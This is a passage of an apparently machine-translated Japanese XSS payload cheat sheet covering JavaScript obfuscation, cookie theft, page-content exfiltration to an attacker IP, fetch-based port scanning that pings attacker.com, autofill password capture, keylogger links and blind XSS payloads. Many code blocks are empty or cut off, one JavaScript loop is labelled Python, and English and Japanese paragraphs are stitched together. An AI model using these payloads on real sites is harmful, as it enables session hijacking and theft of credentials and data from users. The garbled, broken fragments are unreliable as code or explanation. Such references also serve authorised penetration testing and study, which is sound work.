[**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/) * [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js) * [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs) * [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com) * [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/) * [http://www.jsfuck.com/](http://www.jsfuck.com) * より高度なJSFuck: [https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce) * [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html) * [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html) * [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses) ```javascript //Katana ``` ```javascript //JJencode ``` ```javascript //JSFuck ```javascript //aaencode # XSS (クロスサイトスクリプティング) このディレクトリには、クロスサイトスクリプティング(XSS)に関連するテストと攻撃のためのファイルが含まれています。 ## ファイル - `xss.html`: 基本的なXSS攻撃のデモを含むHTMLファイルです。 - `xss.js`: XSS攻撃に使用されるJavaScriptコードが含まれています。 ## 使用方法 1. `xss.html`をブラウザで開きます。 2. ページが表示されたら、入力フィールドにスクリプトを入力してください。 3. 入力されたスクリプトが実行され、攻撃が発生します。 **注意**: このディレクトリは、セキュリティテスト(ペネトレーションテスト)の目的でのみ使用してください。悪意のある目的での使用は違法です。 ```javascript // It's also possible to execute JS code only with the chars: []`+!${} ``` ## XSS一般的なペイロード ### 複数のペイロード {% content-ref url="steal-info-js.md" %} [steal-info-js.md](steal-info-js.md) {% endcontent-ref %} ### クッキーの取得 ```javascript /?c="+document.cookie> ``` {% hint style="info" %} JavaScriptからクッキーにアクセスすることはできませんが、クッキーにHTTPOnlyフラグが設定されている場合は。しかし、[幸運な場合には、この保護をバイパスする方法](../hacking-with-cookies/#httponly)があります。 {% endhint %} ### ページのコンテンツを盗む ```javascript var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"; var attacker = "http://10.10.14.8/exfil"; var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { if (xhr.readyState == XMLHttpRequest.DONE) { fetch(attacker + "?" + encodeURI(btoa(xhr.responseText))) } } xhr.open('GET', url, true); xhr.send(null); ``` ### 内部IPを見つける To find internal IP addresses, you can use various techniques during a penetration test. These techniques involve exploiting vulnerabilities or misconfigurations in web applications to gather information about the target network. 以下の手法を使用して、内部IPアドレスを見つけることができます。これらの手法は、ペネトレーションテスト中に、ターゲットネットワークに関する情報を収集するために、ウェブアプリケーションの脆弱性や設定ミスを悪用することに関わります。 #### 1. DNS Rebinding DNS rebinding is a technique that allows an attacker to bypass the same-origin policy enforced by web browsers. By exploiting this technique, an attacker can trick a victim's browser into making requests to internal IP addresses. DNSリバインディングは、ウェブブラウザによって強制される同一オリジンポリシーをバイパスするための技術です。この技術を悪用することで、攻撃者は被害者のブラウザを内部IPアドレスに対してリクエストを行うように誤誘導することができます。 #### 2. Server-Side Request Forgery (SSRF) Server-Side Request Forgery (SSRF) is a vulnerability that allows an attacker to make requests from the server to arbitrary destinations. By exploiting SSRF, an attacker can force the server to make requests to internal IP addresses and retrieve the responses. サーバーサイドリクエストフォージェリ(SSRF)は、攻撃者がサーバーから任意の宛先にリクエストを行うことができる脆弱性です。SSRFを悪用することで、攻撃者はサーバーに内部IPアドレスに対してリクエストを行わせ、レスポンスを取得することができます。 #### 3. Cross-Site Scripting (XSS) Cross-Site Scripting (XSS) is a vulnerability that allows an attacker to inject malicious scripts into web pages viewed by users. By exploiting XSS, an attacker can execute arbitrary JavaScript code in the victim's browser, which can be used to gather information about internal IP addresses. クロスサイトスクリプティング(XSS)は、攻撃者がユーザーが閲覧するウェブページに悪意のあるスクリプトを注入することができる脆弱性です。XSSを悪用することで、攻撃者は被害者のブラウザで任意のJavaScriptコードを実行し、内部IPアドレスに関する情報を収集することができます。 #### 4. Content Spoofing Content spoofing is a technique that allows an attacker to manipulate the content displayed to users by modifying the response from the server. By exploiting content spoofing vulnerabilities, an attacker can trick users into revealing internal IP addresses. コンテンツスプーフィングは、攻撃者がサーバーからのレスポンスを変更することで、ユーザーに表示されるコンテンツを操作する技術です。コンテンツスプーフィングの脆弱性を悪用することで、攻撃者はユーザーを内部IPアドレスを明らかにするように誤誘導することができます。 It is important to note that these techniques should only be used in controlled environments with proper authorization. Unauthorized use of these techniques can lead to legal consequences. ```html ``` ### ポートスキャナー(fetch) The `fetch` function is a built-in JavaScript function that allows you to make HTTP requests to a specified URL. It can be used to perform a basic port scan by sending requests to different ports and checking the response status. To use the `fetch` function for port scanning, you can create a loop that iterates through a range of port numbers. For each port, you can send a request to the target URL with the corresponding port number. If the response status is successful (e.g., 200), it means that the port is open. If the response status is not successful (e.g., 404 or timeout), it means that the port is closed. Here is an example of how you can implement a basic port scanner using the `fetch` function in JavaScript: ```javascript async function portScan(url, startPort, endPort) { for (let port = startPort; port <= endPort; port++) { try { const response = await fetch(`${url}:${port}`); if (response.ok) { console.log(`Port ${port} is open`); } } catch (error) { console.log(`Port ${port} is closed`); } } } const targetURL = 'https://example.com'; const startPort = 1; const endPort = 100; portScan(targetURL, startPort, endPort); ``` In this example, the `portScan` function takes three parameters: the target URL, the starting port number, and the ending port number. It uses the `fetch` function to send requests to each port within the specified range. If a response with a successful status is received, it logs that the port is open. If an error occurs or the response status is not successful, it logs that the port is closed. Keep in mind that port scanning can be considered intrusive and may be illegal without proper authorization. Always ensure that you have permission to perform port scanning before using this technique. ```javascript const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); } ``` ### ポートスキャナー(ウェブソケット) The port scanner is a tool used to identify open ports on a target system. It works by sending a series of requests to different ports and analyzing the responses received. This can be useful for identifying potential entry points for an attacker. To use the port scanner, you need to specify the target IP address and the range of ports to scan. The tool will then attempt to establish a connection with each port in the specified range. If a connection is successful, it means that the port is open and potentially vulnerable to attacks. It's important to note that port scanning can be considered a malicious activity if performed without proper authorization. Always ensure that you have the necessary permissions before conducting any port scanning activities. To run the port scanner, use the following command: ``` python port_scanner.py -t -p ``` Replace `` with the IP address of the target system and `` with the range of ports you want to scan (e.g., 1-1000). The port scanner supports websockets, which allows it to scan ports that are specifically used for websocket communication. This can be useful for identifying potential vulnerabilities in websocket-based applications. Note: The port scanner should only be used for legitimate purposes, such as penetration testing or network security assessments. Unauthorized port scanning is illegal and can result in severe consequences. Always ensure that you have proper authorization before using this tool. ```python var ports = [80, 443, 445, 554, 3306, 3690, 1234]; for(var i=0; i::placeholder { color:white; } ``` ### パスワードの自動入力のキャプチャ Auto-fill passwords capture is a technique used to exploit cross-site scripting (XSS) vulnerabilities in web applications. When a user visits a website that is vulnerable to XSS, an attacker can inject malicious code into the website's input fields, such as login forms or search bars. 自動入力のパスワードのキャプチャは、ウェブアプリケーションのクロスサイトスクリプティング(XSS)の脆弱性を悪用するための技術です。ユーザーがXSSの脆弱性を持つウェブサイトを訪れると、攻撃者はログインフォームや検索バーなどのウェブサイトの入力フィールドに悪意のあるコードを挿入することができます。 When the user interacts with these input fields, their web browser's auto-fill feature may automatically populate the fields with saved passwords. The injected code can capture these passwords and send them to the attacker's server, allowing unauthorized access to the user's accounts. ユーザーがこれらの入力フィールドと対話すると、ウェブブラウザの自動入力機能が保存されたパスワードでフィールドを自動的に入力する場合があります。挿入されたコードはこれらのパスワードをキャプチャし、それを攻撃者のサーバーに送信することができます。これにより、ユーザーのアカウントへの不正アクセスが可能となります。 To protect against auto-fill passwords capture, web developers should implement proper input validation and output encoding to prevent XSS attacks. Users should also be cautious when entering sensitive information on websites and regularly update their passwords to minimize the risk of unauthorized access. 自動入力のパスワードのキャプチャに対する保護のために、ウェブ開発者は適切な入力検証と出力エンコーディングを実装してXSS攻撃を防止する必要があります。ユーザーもウェブサイトに機密情報を入力する際に注意を払い、定期的にパスワードを更新して不正アクセスのリスクを最小限に抑えるべきです。 ```javascript Username:
Password:
``` パスワードフィールドにデータが入力されると、ユーザー名とパスワードが攻撃者のサーバーに送信されます。クライアントが保存されたパスワードを選択して何も入力しない場合でも、資格情報は外部に漏洩します。 ### キーロガー GitHubで検索すると、いくつかの異なるものが見つかります: * [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger) * [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger) * [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger) * metasploitの`http_javascript_keylogger`も使用できます。 ### CSRFトークンの盗み取り ```javascript ``` ### PostMessageメッセージの盗み出し PostMessageメッセージの盗み出しは、クロスサイトスクリプティング(XSS)の一種です。この攻撃では、攻撃者は悪意のあるスクリプトを使用して、PostMessageを介して送信されるメッセージを盗み出します。 攻撃者は、悪意のあるウェブサイトを作成し、そのウェブサイト内に悪意のあるスクリプトを埋め込みます。このスクリプトは、PostMessageを使用して他のウェブサイトにメッセージを送信します。 攻撃者は、PostMessageを使用して送信されるメッセージを盗み出すために、以下の手法を使用することがあります。 1. イベントリスナーの乗っ取り:攻撃者は、悪意のあるスクリプトを使用して、他のウェブサイトのPostMessageイベントリスナーを乗っ取ります。これにより、攻撃者は送信されるメッセージを読み取ることができます。 2. メッセージの送信先の偽装:攻撃者は、悪意のあるスクリプトを使用して、PostMessageを使用してメッセージを送信するウェブサイトのドメインを偽装します。これにより、攻撃者はメッセージを受け取ることができます。 この攻撃を防ぐためには、以下の対策を講じることが重要です。 - クロスオリジンポリシーの実装:ウェブサイトは、クロスオリジンポリシーを適切に実装する必要があります。これにより、他のドメインからの不正なメッセージの受信を防ぐことができます。 - セキュアなコーディングプラクティスの採用:ウェブサイトの開発者は、セキュアなコーディングプラクティスを採用する必要があります。入力の検証やエスケープ処理などのセキュリティ対策を実施することで、XSS攻撃を防ぐことができます。 - セキュリティ意識の向上:ウェブサイトのユーザーは、セキュリティ意識を高める必要があります。不審なリンクやメッセージに注意を払い、信頼できるウェブサイトのみを利用するようにしましょう。 以上が、PostMessageメッセージの盗み出しに関する情報です。この攻撃に対する理解と対策の実施が重要です。 ```markup ``` ### Service Workersの悪用 {% content-ref url="abusing-service-workers.md" %} [abusing-service-workers.md](abusing-service-workers.md) {% endcontent-ref %} ### Shadow DOMへのアクセス {% content-ref url="shadow-dom.md" %} [shadow-dom.md](shadow-dom.md) {% endcontent-ref %} ### ポリグロット {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %} ### Blind XSSペイロード 以下も使用できます: [https://xsshunter.com/](https://xsshunter.com) ```markup "> "> >
Click Me For An Awesome Time "> ">